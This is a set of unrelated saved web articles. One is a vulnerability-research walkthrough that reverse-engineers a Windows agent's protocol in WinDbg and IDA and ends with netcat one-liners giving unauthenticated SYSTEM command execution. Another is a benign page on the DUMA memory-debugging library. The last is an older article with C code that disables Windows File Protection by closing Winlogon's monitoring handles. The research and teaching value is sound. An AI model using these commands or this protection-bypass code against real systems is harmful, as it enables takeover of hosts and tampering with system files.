    eip=0040507c esp=00a2eb08 ebp=00a2eb24 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    XXXXXXXX+0x507c:
    0040507c 51              push    ecx
    0:001> db ecx
    00a2ec64  74 65 73 74 00 00 00 00-00 ff a2 00 10 00 00 00  test............
    [...]
    
[/code]

ecx, as we would expect, points to the buffer we just received \("test\0",
followed by whatever\). Now, we want to know where that data is used. To do
that, we use a break-on-access breakpoint - ba - which will break the
program's execution when the data is read, then 'g', for 'go', to continue
execution:

[code]

    0:001> ba r4 00a2ec64
    0:001> g
    
[/code]

Immediately afterwards, as expected, the breakpoint is hit when the process
tries to read the "test\0" string:

[code]

    Breakpoint 1 hit
    eax=00000005 ebx=001576a8 ecx=00000000 edx=00000074 esi=001576a8 edi=00000000
    eip=00404074 esp=00a2eb38 ebp=00a2ec8c iopl=0         nv up ei ng nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
    XXXXXXXX+0x4074:
    00404074 85d2            test    edx,edx
[/code]

It breaks at 404074\! That means that line is where the buffer is read from
memory \(actually, it's read the line before - the break happens after the
read, not before it\)

Going back to IDA, here's what the code looks like:  
<img src='img/Temp2_7557.png' />

I circled the points where the buffer is read in red. First, it reads each
character from a local variable that I named 'buffer' - \[ebp+ecx+buffer\] -
into edx as a signed value \(when you see a buffer being read with 'movsx' -
move sign extend - that often leads to sign-extension vulnerabilities, though
not in this case\). It checks if it's null - which would mean it's at the end
of the string - and exits the loop if it is.

A few lines later, the second time the buffer is read, it's read into ecx.
Each character is passed into \_isdigit\(\) and, if it's not a digit, it exits
the loop with an error message, "Illegal Port number". Hmm\! So, now we know
that the first part of the protocol is apparently a port number terminated by
a null byte. Awesome\! But weird? Why are we telling it a port number?

## Connect back

If we scroll down in IDA a little bit, and find where the function ends after
successfully reading a port number, here's the code we find:  
<img src='img/Temp2_7558.png' />

There's some logging here - I love logging\! - that says the value we just
received is called the 'return socket'. Then a function is called that
basically connects back to the client on the port number just received. I'm
not going to go any deeper because the code isn't interesting or useful to us.
I never did figure out what this second connection is used for, but the
program doesn't seem to care if it fails.

So that's the first client-to-server message figured out\! To summarize a bit:

  * Client connects to server
  * Client sends server a null-terminated port number
  * Server connects back to client on that port
  * The new connection isn't used for anything, as far as I can tell

## Moving right along...

Now that we've got the first message all sorted out, we're interested in what
the second message is. Rather than trying to navigate the tangled code \(which
leads through a select\(\) and a few other functions\), we're going to
generate another packet with netcat and see where it's read, just like last
time.

First, we clear our breakpoints and put a new one on 40507c again \(the same
place as our last breakpoint - right after a packet is read\):

[code]

    0:001> bc *
    0:001> bp 0040507c
    0:001> g
[/code]

Then we connect with netcat, this time with a proper connect-back port
\("12345\0"\) and a second string \("test\0"\):

[code]

    ron@armitage ~ $ echo -ne "12345\0test\0" | nc -vv 192.168.1.112 1234
    192.168.1.112: inverse host lookup failed:
    (UNKNOWN) [192.168.1.112] 1234 (?) open
    
[/code]

The breakpoint we set earlier will fire on the first line again:

[code]

    Breakpoint 0 hit
    eax=00000006 ebx=001576a8 ecx=00a2ec64 edx=00a2edbc esi=001576a8 edi=00000000
    eip=0040507c esp=00a2eb08 ebp=00a2eb24 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    xxxxxxxx+0x507c:
    0040507c 51              push    ecx
    0:001> db ecx
    00a2ec64  31 32 33 34 35 00 00 00-00 ff a2 00 10 00 00 00  12345...........
[/code]

But we aren't interested in that, and run 'g' to continue:

[code]

    0:001> g
    Breakpoint 0 hit
    eax=00000005 ebx=001576a8 ecx=00a2ec64 edx=00a2edbc esi=001576a8 edi=00000000
    eip=0040507c esp=00a2e7e0 ebp=00a2e7fc iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    xxxxxxxx+0x507c:
    0040507c 51              push    ecx
    0:001> db ecx
    00a2ec64  74 65 73 74 00 00 00 00-00 00 00 00 00 00 00 00  test............
[/code]

Now we've found the string we're interested in\!

Once again, we put a breakpoint-on-read on ecx and resume execution. The
process will break again when the "test\0" string is read:

[code]

    0:001> g
    Breakpoint 1 hit
    eax=74736574 ebx=001576a8 ecx=00a2ec64 edx=00000000 esi=001576a8 edi=00000000
    eip=00422162 esp=00a2e808 ebp=00a2ec8c iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    xxxxxxxx+0x22162:
    00422162 bafffefe7e      mov     edx,7EFEFEFFh
[/code]

That is, at 422162. A pro-tip - if you notice the constant 0x7EFEFEFF, or
something similar, you're probably in a string manipulation function. And this
is no exception - according to IDA, this is strlen\(\). To get out, we use
'gu':

[code]

    0:001> gu
    Breakpoint 1 hit
    eax=74736574 ebx=001576a8 ecx=00000001 edx=00000000 esi=00a2ec64 edi=00a3b0b8
    eip=00422424 esp=00a2e708 ebp=00a2e710 iopl=0         nv up ei ng nz ac pe cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
    xxxxxxxx+0x22424:
    00422424 89448ffc        mov     dword ptr [edi+ecx*4-4],eax ds:0023:00a3b0b8=00000000
    
[/code]

Now we're in memcpy\! At this point, I started using 'gu' over and over till I
finally found something interesting:

[code]

    0:001> gu
    eax=00a3b0b8 ebx=001576a8 ecx=00000001 edx=00000000 esi=00a35078 edi=00000000
    eip=0041beb6 esp=00a2e718 ebp=00a2e734 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    xxxxxxxx+0x1beb6:
    0041beb6 83c40c          add     esp,0Ch
    0:001> gu
    eax=00440000 ebx=001576a8 ecx=004448e4 edx=00000032 esi=00a35078 edi=00000000
    eip=0041c056 esp=00a2e73c ebp=00a2e74c iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    xxxxxxxx+0x1c056:
    0041c056 83c40c          add     esp,0Ch
    0:001> gu
    eax=00440000 ebx=001576a8 ecx=004448e4 edx=00000032 esi=00a35078 edi=00000000
    eip=00419d00 esp=00a2e754 ebp=00a2e798 iopl=0         nv up ei pl nz ac pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
    xxxxxxxx+0x19d00:
    00419d00 83c40c          add     esp,0Ch
    0:001> gu
    eax=00a30000 ebx=001576a8 ecx=00000000 edx=00a2e734 esi=00a35078 edi=00000000
    eip=00416fe5 esp=00a2e7a0 ebp=00a2e7d4 iopl=0         nv up ei pl nz ac pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
    xxxxxxxx+0x16fe5:
    00416fe5 83c40c          add     esp,0Ch
    0:001> gu
    eax=00000000 ebx=001576a8 ecx=00436f88 edx=00040000 esi=001576a8 edi=00000000
    eip=004187f5 esp=00a2e7dc ebp=00a2e7ec iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    xxxxxxxx+0x187f5:
    004187f5 83c40c          add     esp,0Ch
    0:001> gu
    eax=00000000 ebx=001576a8 ecx=00436f88 edx=00040000 esi=001576a8 edi=00000000
    eip=0041f5ca esp=00a2e7f4 ebp=00a2e800 iopl=0         nv up ei pl nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
    xxxxxxxx+0x1f5ca:
    0041f5ca 83c40c          add     esp,0Ch
    0:001> gu
    eax=00000000 ebx=001576a8 ecx=00436f88 edx=00040000 esi=001576a8 edi=00000000
    eip=00404465 esp=00a2e808 ebp=00a2ec8c iopl=0         nv up ei pl nz ac pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
    xxxxxxxx+0x4465:
    00404465 83c408          add     esp,8
[/code]

Finally, at 404465, I see this code:  
<img src='img/Temp2_7555.png' />

"Getting password"\! It looks like I ran into some authentication code\! If I
scroll down further, I find this code:

<img src='img/Temp2_7559.png' />

"Getting command", followed by a call to read\_from\_socket\(\), which is the
function that basically does recv\(\). Sweet\!

It would take too many screenshots to show it all here, but to summarize the
function I'm looking at, it basically takes the following actions:

  * Logs "Getting username"
  * Reads a string up to a null byte \(\0\)
  * \(we broke into the function right here while it was processing that string\)
  * Logs "Getting password"
  * Reads a string up to a null byte \(\0\)
  * Logs "Getting command"
  * Reads a string up to a null byte \(\0\)

There are many ways to proceed from here, but I figured I'd put a breakpoint
on the read following the "Getting command" line, and then to send a string
with all the requisite fields \(a connect-back port, a username, a password,
and a command\). Knowing from the advisory that the vulnerability was in the
authentication, I decided to try sending in garbage values. I didn't try
looking at the code where the username/password are verified - I figured I'd
just skip that code \(it's pretty long\).

[code]

    0:001> bc *
    0:001> bp 40465d
    0:001> g
[/code]

Then run the app and use netcat to send a test command:

[code]

    ron@armitage ~ $ echo -ne "12345\0myuser\0mypass\0mycommand\0" | nc -vv 192.168.1.112 1234
    192.168.1.112: inverse host lookup failed:
    (UNKNOWN) [192.168.1.112] 1234 (?) open
    
[/code]

And, it breaks\!

[code]

    0:001> bc *
    0:001> bp 40465d
    0:001> g
    Breakpoint 0 hit
    eax=00a2edbc ebx=001576a8 ecx=00a2e83c edx=00000032 esi=001576a8 edi=00000000
    eip=0040465d esp=00a2e804 ebp=00a2ec8c iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    xxxxxxxx+0x465d:
    0040465d e84e090000      call    xxxxxxxx+0x4fb0 (00404fb0)
[/code]

Sweet\!

I took a few dead-end paths here, but eventually I decided that, knowing that
'mycommand' is the command it's planning to run, I'd put a breakpoint on
CreateProcessA, send the 'mycommand' string again, and see what happens:

[code]

    0:001> bc *
    0:001> bp kernel32!CreateProcessA
    0:001> bp kernel32!CreateProcessW
    0:001> g
    
[/code]

Then the netcat command again:

[code]

    ron@armitage ~ $ echo -ne "12345\0myuser\0mypass\0mycommand\0" | nc -vv 192.168.1.112 1234
    192.168.1.112: inverse host lookup failed:
    (UNKNOWN) [192.168.1.112] 1234 (?) open
    
[/code]

Then, the breakpoint fires:

[code]

    Breakpoint 0 hit
    eax=00000000 ebx=001576a8 ecx=00a2db48 edx=00a29cc0 esi=00000029 edi=00000000
    eip=77e424b9 esp=00a29788 ebp=00a2df60 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    kernel32!CreateProcessA:
    77e424b9 8bff            mov     edi,edi
[/code]

Sure enough, it breaks\! I immediately run 'gu' \('go up'\) to exit the
CreateProcessA function:

[code]

    0:001> gu
    eax=00000000 ebx=001576a8 ecx=77e722e9 edx=00000000 esi=00000029 edi=00000000
    eip=0040b964 esp=00a297b4 ebp=00a2df60 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    xxxxxxxx+0xb964:
    0040b964 898558bdffff    mov     dword ptr [ebp-42A8h],eax ss:0023:00a29cb8=7ffdd000
[/code]

And find myself at 40b964. Loading up that address in IDA, here's what it
looks like \(the call is circled in red\):  
<img src='img/Temp2_7554.png' />

I'd like to verify the command that's being sent to CreateProcessA, to see if
it's something I can manipulate easily. So I put a breakpoint at 40b95e:

[code]

    0:001> bc *
    0:001> bp 40b95e
    0:001> g
[/code]

And send the usual command:

[code]

    ron@armitage ~ $ echo -ne "12345\0myuser\0mypass\0mycommand\0" | nc -vv 192.168.1.112 1234
    192.168.1.112: inverse host lookup failed:
    (UNKNOWN) [192.168.1.112] 1234 (?) open
[/code]

When it breaks, I dump the memory at ecx - the register that stores the
command:

[code]

    Breakpoint 0 hit
    eax=00000000 ebx=001576a8 ecx=00a2db48 edx=00a29cc0 esi=00000029 edi=00000000
    eip=0040b95e esp=00a2978c ebp=00a2df60 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    xxxxxxxx+0xb95e:
    0040b95e ff15cc004300    call    dword ptr [xxxxxxxx+0x300cc (004300cc)] ds:0023:004300cc={kernel32!CreateProcessA (77e424b9)}
    0:001> db ecx
    00a2db48  43 3a 5c 50 52 4f 47 52-41 7e 31 5c xx xx xx xx  C:\PROGRA~1\XXXX
    00a2db58  xx xx 7e 31 5c xx xx xx-xx 5c 41 67 65 6e 74 5c  XX~1\XXXX\Agent\
    00a2db68  6d 79 63 6f 6d 6d 61 6e-64 20 00 00 00 00 00 00  mycommand ......
[/code]

Aha\! It's prepending the path to the program's folder to our command and
passing it to CreateProcessA\! The natural thing to do is to use '../' to
escape this folder and run something else, but that doesn't work. I never
actually figured out why - and it seemed to kinda work - but it was doing some
sort of filtering that would give me bad results. Eventually, I had an idea -
which programs are stored in that folder anyways?  
<img src='img/Temp2_7556.png' />

execute.exe? hide.exe? runasuser.exe? Could it BE that simple?

I fire up netcat again:

[code]

    ron@armitage ~ $ echo -ne "12345\0myuser\0mypass\0runasuser calc\0" | nc -vv 192.168.1.112 1234
    192.168.1.112: inverse host lookup failed:
    (UNKNOWN) [192.168.1.112] 1234 (?) open
     sent 35, rcvd 1
    
[/code]

And check the process list:  
<img src='img/Temp2_7561.png' />

And ho-ly crap\! We have command execution\! Unauthenticated\! As SYSTEM\!\!
Game over, I win\!

## Writing the check

But wait, there's no output on netcat. No indication at all that this worked,
in fact. Crap\! Wut do?

It occurred to me that this particular application also has a Web server built
in. Can I write to files using this command execution? I try:

[code]

    ron@armitage ~ $ echo -ne "12345\0myuser\0mypass\0runasuser cmd /c \"ipconfig > c:\\myfile\"\0" | nc -vv 192.168.1.112 1234
    192.168.1.112: inverse host lookup failed:
    (UNKNOWN) [192.168.1.112] 1234 (?) open
     sent 60, rcvd 1
    
[/code]

And check the file:  
<img src='img/Temp2_7560.png' />

Yup, works like a charm\! \(Don't mind the bad ip address - I took some of
these screenshots at different times than others\)

I change the code a little bit to point to the Web root and give it a go, and
sure enough it works. With that, I can now write a proper check for Nessus.
And with that, I'm done.

## Summary

So, the TL;DR version of this is:

  * Connect to the host
  * Send it a port number, following by a null byte \("\0"\) - the host will try to connect back on that port
  * Send a username and a password, each terminated by a null byte - these will be ignored
  * Send a command using the "runasuser.exe" program - included
  * Profit\!

# DUMA library

**Created:**| _5/27/2009 2:44:32 PM_  
---|---  
**Updated:**| _5/27/2009 2:44:40 PM_  
**Author:**| __  
**Tags:**| _Exploit_  
  

# D.U.M.A. - Detect Unintended Memory Access

DUMA is an open-source library \(under GNU General Public License\) to detect
buffer overruns and under-runs in C and C++ programs.  
This library is a fork of Buce Perens Electric Fence library and adds some new
features to it. Features of the DUMA library:

  * "overloads" all standard memory allocation functions like malloc\(\), calloc\(\), memalign\(\), strdup\(\), operator new, operator new\[\]  
and also their counterpart deallocation functions like free\(\), operator
delete and operator delete\[\]

  * utilizes the MMU \(memory management unit\) of the CPU:  
allocates and protects an extra memory page to detect any illegal access
beyond the top of the buffer \(or bottom, at the user's option\)

  * stops the program at exactly that instruction, which does the erroneous access to the protected memory page,  
allowing location of the defectice source code in a debugger

  * detects erroneous writes at the non-protected end of the memory block at deallocation of the memory block
  * detects mismatch of allocation/deallocation functions: f.e. allocation with malloc\(\) but deallocation with operator delete
  * leak detection: detect memory blocks which were not deallocated until program exit
  * runs on Linux / U\*ix and MS Windows NT/2K/XP operating systems
  * preloading of the library on Linux \(and some U\*ix\) systems allowing tests without necessity of changing source code or recompilation

Following documents are available \(also in the source archives\):

  * README
  * INSTALL
  * CHANGELOG
  * TODO

Following article was printed in the magazine "Programmieren unter Linux
1/2005 \(1\)":

  * Debugging\_DE.pdf

Sites:

  * Homepage of project: http://duma.sourceforge.net \(this site\)
  * Project page on SourceForge: http://sourceforge.net/projects/duma  
.zip and .tar.gz source archives of the latest version

  * Project page on Freshmeat: http://freshmeat.net/projects/duma/  
subscribe on freshmeat to get announcements of new versions

  
Comments, suggestions and bug-reports go to  
Hayati Aygün <h\_ayguen@web.de>

Thanks to SourceForge for hosting\!  
<img src='img/Temp2_1920.png' width='88' height='31' alt='sourceforge.net' />

# Windows File Protection: How To Disable It On The Fly

**Created:**| _12/19/2010 10:52:57 PM_  
---|---  
**Updated:**| _12/19/2010 10:53:12 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit windows environment awesome Filesystem_  
  

**Windows File Protection: How To Disable It On The Fly**  
  
_This article was released onwww.rootkit.com on november the 9th, 2004._  
  
In this article I'll show you how to deactive the Windows File Protection
without rebooting to safe mode or recovery console. Yes, you heard it, I show
you how to change system files without the system noticing it and replacing
the original files. If you don't know what the Windows File Protection \(WFP\)
is, find something with goolge: there are articles about that all over the
internet. Anyway I can guarantee you that there aren't articles on this
subject.  
  
Actually, I didn't want to release this article. Mainly because I was afraid
that it could help viruses and spywares to do their job, and then because I
wrote this code for someone in the first place. What changed my mind is that
this code is useful only if you run it with admin privileges and a program
which runs with these privileges can do pretty much damage anyway, so I don't
think this code can make it a lot worse. Moreover the system file protection
as it is implemented nowadays is going to get old and this code too, so I
think to release is ok. XP's Service Pack 2 was already released without
affecting the WFP and that means I'm not damaging anyone \(who is using this
code or the same tecnique\) by releasing this code. By the way, it's not that
hard to trick the WFP, it just took me 2 hours at the time I made it...  
  
First of all, before we can code something, we have to see how the WFP works.
To do this I had to give a look to the sfc\_os.dll \(sfc.dll if we're talking
about Win2k\) and the Winlogon.exe \(well, to see that he is the one who calls
the sfc dll is very simple: you just need a process viewer\). Without showing
you disasms, I just say you that Winlogon refers to the sfc.dll, which then
refers to the sfc\_os.dll \(most of the sfc.dll's exports are forwarded \(and
of course I'm talking about XP\)\). The function which starts the WFP is the
ordinal one, which forwards to sfc\_os.dll's ordinal 1. What really does this
function? I was going through the code, when I saw the calls to retrieve the
WFP's options registry values, then I saw a lot of events stuff... Suddenly I
found this code:  
  
**.text:76C2B9ED push ebp  
.text:76C2B9EE mov ebp, esp  
.text:76C2B9F0 push ebx  
.text:76C2B9F1 push esi  
.text:76C2B9F2 mov esi, \[ebp+arg\_0\]  
.text:76C2B9F5 mov eax, \[esi+14h\]  
.text:76C2B9F8 xor ebx, ebx  
.text:76C2B9FA cmp eax, ebx  
.text:76C2B9FC jz short loc\_76C2BA1B  
.text:76C2B9FE cmp \[eax+134h\], ebx  
.text:76C2BA04 jz short loc\_76C2BA1B  
.text:76C2BA06 mov eax, \[eax+138h\]  
.text:76C2BA0C and al, 1  
.text:76C2BA0E dec al  
.text:76C2BA10 neg al  
.text:76C2BA12 sbb al, al  
.text:76C2BA14 inc al  
.text:76C2BA16 mov byte ptr \[ebp+arg\_0\], al  
.text:76C2BA19 jmp short loc\_76C2BA1E  
.text:76C2BA1B  
.text:76C2BA1B loc\_76C2BA1B:  
.text:76C2BA1B  
.text:76C2BA1B mov byte ptr \[ebp+arg\_0\], bl  
.text:76C2BA1E  
.text:76C2BA1E loc\_76C2BA1E:  
.text:76C2BA1E  
.text:76C2BA1E push \[ebp+arg\_0\]  
.text:76C2BA21 lea eax, \[esi+8\]  
.text:76C2BA24 push 0C5Bh  
.text:76C2BA29 push 1000h  
.text:76C2BA2E push dword ptr \[esi+10h\]  
.text:76C2BA31 push eax  
.text:76C2BA32 push ebx  
.text:76C2BA33 push ebx  
.text:76C2BA34 push dword ptr \[esi+4\]  
.text:76C2BA37 push dword ptr \[esi\]  
.text:76C2BA39 call ds:NtNotifyChangeDirectoryFile  
.text:76C2BA3F cmp eax, ebx  
.text:76C2BA41 jge short loc\_76C2BA9A  
.text:76C2BA43 cmp eax, 103h  
.text:76C2BA48 jnz short loc\_76C2BA76  
.text:76C2BA4A push ebx  
.text:76C2BA4B push 1  
.text:76C2BA4D push dword ptr \[esi+4\]  
.text:76C2BA50 call ds:NtWaitForSingleObject  
.text:76C2BA56 cmp eax, ebx  
.text:76C2BA58 jge short loc\_76C2BA9A**  
  
And I realized that the WFP was implemented in user mode context only \(what a
lame protection\)\! Maybe you're not familiar with NtNotifyChangeDirectoryFile
\(the native function of FindFirstChangeNotification\)... Well let's look at
the msdn documentation:  
  
_" The FindFirstChangeNotification function creates a change notification
handle and sets up initial change notification filter conditions. A wait on a
notification handle succeeds when a change matching the filter conditions
occurs in the specified directory or subtree. However, the function does not
indicate the change that satisfied the wait condition."_  
  
And:  
  
_" The wait functions can monitor the specified directory or subtree by using
the handle returned by the FindFirstChangeNotification function. A wait is
satisfied when one of the filter conditions occurs in the monitored directory
or subtree.  
  
After the wait has been satisfied, the application can respond to this
condition and continue monitoring the directory by calling the
FindNextChangeNotification function and the appropriate wait function. When
the handle is no longer needed, it can be closed by using the
FindCloseChangeNotification function."_  
  
What does tha mean? That the Winlogon's process \(through sfc\) monitors each
directory which contains protected files, in fact if you look into this
process with an object viewer \(like the one on sysinternals\), you'll see a
handle for each protected directory. Well that means that we only have to
close those handles with FindCloseChangeNotification \(or CloseHandle, which
is the same\) to stop the WFP monitoring system directories. Ok, here's the
thing: we disable the WFP from user-mode code... Cool, isn't it? Not really,
actually: it would be better if the job wasn't that easy, I mean for the
system security.  
  
Let's start with the code: the basic syntax of the function I wrote is this:  
  
void main\(\)  
\{  
if \(TrickWFP\(\) == TRUE\)  
\{  
// ok  
\}  
else  
\{  
// wrong  
\}  
\}  
  
Pretty simple to call I think. Let's see the function, first of all I check
the operating system we are running on:  
  
osvi.dwOSVersionInfoSize = sizeof\(OSVERSIONINFOEX\);  
  
if \(\!GetVersionEx\(\(OSVERSIONINFO \*\) &osvi\)\)  
\{  
osvi.dwOSVersionInfoSize = sizeof \(OSVERSIONINFO\);  
  
if \(\!GetVersionEx \(\(OSVERSIONINFO \*\) &osvi\)\)  
return FALSE;  
\}  
  
  
if \(osvi.dwPlatformId \!= VER\_PLATFORM\_WIN32\_NT ||  
osvi.dwMajorVersion <= 4\)  
return FALSE;  
  
If I'm on a not-NT-based system or on NT 4.0 then return FALSE \(WFP was
implemented up Win2k, you know\). Then we need some functions whose address we
get with GetProcAddress:  
  
// ntdll functions  
  
pNtQuerySystemInformation = \(NTSTATUS \(NTAPI \*\)\(  
SYSTEM\_INFORMATION\_CLASS, PVOID, ULONG, PULONG\)\)  
GetProcAddress\(hNtDll, "NtQuerySystemInformation"\);  
  
pNtQueryObject = \(NTSTATUS \(NTAPI \*\)\(HANDLE,  
OBJECT\_INFORMATION\_CLASS, PVOID, ULONG, PULONG\)\)  
GetProcAddress\(hNtDll, "NtQueryObject"\);  
  
// psapi functions  
  
pEnumProcesses = \(BOOL \(WINAPI \*\)\(DWORD \*, DWORD, DWORD \*\)\)  
GetProcAddress\(hPsApi, "EnumProcesses"\);  
  
pEnumProcessModules = \(BOOL \(WINAPI \*\)\(HANDLE, HMODULE \*,  
DWORD, LPDWORD\)\) GetProcAddress\(hPsApi, "EnumProcessModules"\);  
  
pGetModuleFileNameExW = \(DWORD \(WINAPI \*\)\(HANDLE, HMODULE,  
LPWSTR, DWORD\)\) GetProcAddress\(hPsApi, "GetModuleFileNameExW"\);  
  
if \(pNtQuerySystemInformation == NULL ||  
pNtQueryObject == NULL ||  
pEnumProcesses == NULL ||  
pEnumProcessModules == NULL ||  
pGetModuleFileNameExW == NULL\)  
return FALSE;  
  
We see later why we need these functions. Next step is to get
"SeDebugPrivileges" adjusting the token's privileges \(we could do this only
if we run as admin application of course\).  
  
if \(SetPrivileges\(\) == FALSE\)  
return FALSE;  
  
Here's the function:  
  
BOOL SetPrivileges\(VOID\)  
\{  
HANDLE hProc;  
LUID luid;  
TOKEN\_PRIVILEGES tp;  
HANDLE hToken;  
TOKEN\_PRIVILEGES oldtp;  
DWORD dwSize;  
  
hProc = GetCurrentProcess\(\);  
  
if \(\!OpenProcessToken\(hProc, TOKEN\_QUERY |   
TOKEN\_ADJUST\_PRIVILEGES, &hToken\)\)  
return FALSE;  
  
if \(\!LookupPrivilegeValue\(NULL, SE\_DEBUG\_NAME, &luid\)\)  
\{  
CloseHandle \(hToken\);  
return FALSE;  
\}  
  
ZeroMemory\(&tp, sizeof \(tp\)\);  
  
tp.PrivilegeCount = 1;  
tp.Privileges\[0\].Luid = luid;  
tp.Privileges\[0\].Attributes = SE\_PRIVILEGE\_ENABLED;  
  
if \(\!AdjustTokenPrivileges\(hToken, FALSE, &tp, sizeof\(TOKEN\_PRIVILEGES\),  
&oldtp, &dwSize\)\)  
\{  
CloseHandle\(hToken\);  
return FALSE;  
\}  
  
return TRUE;  
\}  
  
Then we have to get Winlogon's ProcessID, so we have to go through all the
processes running to find Winlogon:  
  
// search winlogon  
  
dwSize2 = 256 \* sizeof\(DWORD\);  
  
do  
\{  
if \(lpdwPIDs\)  
\{  
HeapFree\(GetProcessHeap\(\), 0, lpdwPIDs\);  
dwSize2 \*= 2;  
\}  
  
lpdwPIDs = \(LPDWORD\) HeapAlloc\(GetProcessHeap\(\), 0, dwSize2\);  
  
if \(lpdwPIDs == NULL\)  
return FALSE;  
  
if \(\!pEnumProcesses\(lpdwPIDs, dwSize2, &dwSize\)\)  
return FALSE;  
  
\} while \(dwSize == dwSize2\);  
  
dwSize /= sizeof\(DWORD\);  
  
for \(dwIndex = 0; dwIndex < dwSize; dwIndex++\)  
\{  
Buffer\[0\] = 0;  
  
hProcess = OpenProcess\(PROCESS\_QUERY\_INFORMATION |   
PROCESS\_VM\_READ, FALSE, lpdwPIDs\[dwIndex\]\);  
  
if \(hProcess \!= NULL\)  
\{  
if \(pEnumProcessModules\(hProcess, &hMod,  
sizeof\(hMod\), &dwSize2\)\)  
\{  
if \(\!pGetModuleFileNameExW\(hProcess, hMod,  
Buffer, sizeof\(Buffer\)\)\)  
\{  
CloseHandle\(hProcess\);  
continue;  
\}  
\}  
else  
\{  
CloseHandle\(hProcess\);  
continue;  
\}  
  
if \(Buffer\[0\] \!= 0\)  
\{  
GetFileName\(Buffer\);  
  
if \(CompareStringW\(0, NORM\_IGNORECASE,  
Buffer, -1, WinLogon, -1\) == CSTR\_EQUAL\)  
\{  
// winlogon process found  
WinLogonId = lpdwPIDs\[dwIndex\];  
CloseHandle\(hProcess\);  
break;  
\}  
  
dwLIndex++;  
\}  
  
CloseHandle\(hProcess\);  
\}  
  
\}  
  
if \(lpdwPIDs\)  
HeapFree\(GetProcessHeap\(\), 0, lpdwPIDs\);

Now that we have our ProcessID, we can open this process:  
  
hWinLogon = OpenProcess\(PROCESS\_DUP\_HANDLE, 0, WinLogonId\);  
  
if \(hWinLogon == NULL\)  
\{  
return FALSE;  
\}  
  
Why am I using the PROCESS\_DUP\_HANDLE? What's that? We need this flag to use
the function DuplicateHandle \(ZwDuplicateObject if it sounds more familiar to
you\), we see later what we need this function for. Now:  
  
nt = pNtQuerySystemInformation\(SystemHandleInformation, NULL, 0, &uSize\);  
  
while \(nt == STATUS\_INFO\_LENGTH\_MISMATCH\)  
\{  
uSize += 0x1000;  
  
if \(pSystemHandleInfo\)  
VirtualFree\(pSystemHandleInfo, 0, MEM\_RELEASE\);  
  
pSystemHandleInfo = \(PSYSTEMHANDLEINFO\) VirtualAlloc\(NULL, uSize,  
MEM\_COMMIT, PAGE\_READWRITE\);  
  
if \(pSystemHandleInfo == NULL\)  
\{  
CloseHandle\(hWinLogon\);  
return FALSE;  
\}  
  
nt = pNtQuerySystemInformation\(SystemHandleInformation,  
pSystemHandleInfo, uSize, &uBuff\);  
\}  
  
if \(nt \!= STATUS\_SUCCESS\)  
\{  
VirtualFree\(pSystemHandleInfo, 0, MEM\_RELEASE\);  
CloseHandle\(hWinLogon\);  
return FALSE;  
\}

This code retrieves all system-wide opened handles, including those of the
Winlogon process. Let's see the following steps:  
  
1\) go through all the opened handles checking those owned by the Winlogon  
  
2\) duplicate each winlogon handle to our process with DuplicateHandle, which
give us then the right to ask for the handle/object name with NtQueryObject.  
  
3\) if the object name is one of those directory we want to stop the
monitoring for, we need to call DuplicateHandle again with
DUPLICATE\_CLOSE\_SOURCE flag to be able then to call CloseHandle and close
this damn handle.  
  
The first two points don't need to be explained more, I think. But the third
point has to be clear, we have to close the handles of EVERY system directory
we want to modify files in. Moreover, to disable the WFP, we have to disable
at least the monitoring for the System32 direcotry. The object name of a
directory is something like this: Harddisk00\\\Windows\\\System32; and 'cause
I was to lazy to convert harddiskxx to a letter like C, I wrote a case-
ignoring function that compares string backwards:  
  
BOOL CompareStringBackwards\(WCHAR \*Str1, WCHAR \*Str2\)  
\{  
INT Len1 = wcslen\(Str1\), Len2 = wcslen\(Str2\);  
  
  
if \(Len2 > Len1\)  
return FALSE;  
  
for \(Len2--, Len1--; Len2 >= 0; Len2--, Len1--\)  
\{  
if \(Str1\[Len1\] \!= Str2\[Len2\]\)  
return FALSE;  
\}  
  
return TRUE;  
\}  
  
So to know if the current handle is the directory we are looking for we just
have to write:  
  
if \(CompareStringBackwards\(ObjName.Buffer, L"WINDOWS\\\SYSTEM32"\)  
  
And let's not forget that Win2k uses WINNT as windows directory, so we have to
check both strings:  
  
if \(CompareStringBackwards\(ObjName.Buffer, L"WINDOWS\\\SYSTEM32"\) ||  
CompareStringBackwards\(ObjName.Buffer, L"WINNT\\\SYSTEM32"\)\)  
  
if one of these string matches, we'll close the handle:  
  
CloseHandle\(hCopy\); // old DuplicateHandle handle  
  
DuplicateHandle\(hWinLogon,  
\(HANDLE\) pSystemHandleInfo->HandleInfo\[i\].HandleValue,  
GetCurrentProcess\(\), &hCopy, 0, FALSE,  
DUPLICATE\_CLOSE\_SOURCE | DUPLICATE\_SAME\_ACCESS\);  
  
CloseHandle\(hCopy\);  
  
